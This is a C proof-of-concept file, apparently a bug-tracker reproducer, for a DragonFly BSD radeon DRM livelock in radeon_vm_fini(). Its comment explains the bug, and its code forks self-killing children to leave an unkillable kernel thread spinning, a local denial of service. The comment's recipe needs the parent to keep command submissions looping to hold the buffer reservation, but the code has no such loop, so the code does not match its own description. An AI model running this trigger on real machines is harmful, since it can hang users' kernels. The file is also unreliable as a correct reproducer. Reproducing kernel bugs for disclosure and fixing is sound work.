DF-4414 / trigger_fini.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 | /* * DF-4414 trigger: radeon_vm_fini() DragonFly-specific infinite loop. * * sys/dev/drm/radeon/radeon_vm.c:1250-1261 (DFly branch): * * while (vm->va.rb_node) { * bo_va = container_of((void *)vm->va.rb_node, ...); * r = radeon_bo_reserve(bo_va->bo, false); * if (!r) { ...remove from tree, kfree... } * } * * radeon_bo_reserve(bo, false) is ttm_bo_reserve(..., interruptible=TRUE, * no_wait=FALSE, ...) (radeon_object.h:64-68): when the BO's reservation is * held by another thread AND the closing thread has a pending signal it * returns -ERESTARTSYS immediately -> the loop makes no progress and never * exits -> kernel busy-loop; the drm fd never closes, the vm is leaked and * the closing thread is unkillable (it never returns to user mode). * * Upstream Linux uses rbtree_postorder_for_each_entry_safe(): a SINGLE pass * that merely leaks the bo_va on reserve failure -- DFly's rewrite turned a * leak into a livelock. * * Recipe (two processes, bo shared via GEM flink): * A: opens card0, creates+flinks bo, maps it into A's vm, then loops * CS submits that keep bo's ttm reservation held (ttm_eu_reserve_buffers * in radeon_cs_parser_bos). * B: opens card0, GEM_OPENs the flink name, maps bo into B's vm, never * unmaps, then exits while being SIGKILLed (signal pending -> * -ERESTARTSYS on reserve). * -> B's exit thread spins forever in radeon_vm_fini(). * * Build: cc -O2 -I/usr/src/sys/dev/drm/include/uapi \ * -o trigger_fini trigger_fini.c */ #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/wait.h> #include "radeon_abi.h" static const char *CARD = "/dev/dri/card0"; static int gem_create(int fd, uint64_t size, uint32_t domain, uint32_t *h) { struct drm_radeon_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.size = size; gc.initial_domain = domain; return ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE_, &gc) ? -1 : (*h = gc.handle, 0); } static int gem_flink(int fd, uint32_t handle, uint32_t *name) { struct drm_gem_flink_ fl; memset(&fl, 0, sizeof(fl)); fl.handle = handle; if (ioctl(fd, DRM_IOCTL_GEM_FLINK_, &fl)) return -1; *name = fl.name; return 0; } static int gem_open(int fd, uint32_t name, uint32_t *handle) { struct drm_gem_open_ go; memset(&go, 0, sizeof(go)); go.name = name; if (ioctl(fd, DRM_IOCTL_GEM_OPEN_, &go)) return -1; *handle = go.handle; return 0; } static int gem_va_map(int fd, uint32_t handle, uint64_t off) { struct drm_radeon_gem_va va; memset(&va, 0, sizeof(va)); va.handle = handle; va.offset = off; va.flags = RADEON_VM_PAGE_READABLE | RADEON_VM_PAGE_WRITEABLE; va.operation = RADEON_VA_MAP; return ioctl(fd, DRM_IOCTL_RADEON_GEM_VA_, &va); } int main(void) { int fd, i; uint32_t bo = 0, name = 0; char nbuf[32]; fd = open(CARD, O_RDWR | O_CLOEXEC); if (fd < 0) { printf("open(%s): %s\n", CARD, strerror(errno)); printf("=> no radeon DRM device available; trigger cannot run.\n"); return 2; } if (gem_create(fd, 4096, RADEON_GEM_DOMAIN_VRAM, &bo) || gem_flink(fd, bo, &name)) { printf("create/flink: %s\n", strerror(errno)); return 2; } /* map bo in OUR vm and leave it mapped (vm->va non-empty at fini) */ if (gem_va_map(fd, bo, 0x100000)) return 2; snprintf(nbuf, sizeof(nbuf), "%u", name); for (i = 0; i < 4; i++) { pid_t p = fork(); if (p == 0) { int cfd; uint32_t ch, cbo; cfd = open(CARD, O_RDWR | O_CLOEXEC); if (cfd < 0) _exit(2); if (gem_open(cfd, (uint32_t)strtoul(nbuf, NULL, 10), &cbo)) _exit(3); gem_va_map(cfd, cbo, 0x100000); /* close fd with SIGKILL racing: postclose -> vm_fini * -> reserve(bo) held by parent CS loop + signal * pending -> -ERESTARTSYS -> infinite kernel loop */ kill(getpid(), SIGKILL); close(cfd); _exit(0); } waitpid(p, NULL, 0); printf("child %d reaped (if this hangs, the exit thread is " "stuck spinning in radeon_vm_fini)\n", i); } printf("completed without observing the hang\n"); close(fd); return 1; } |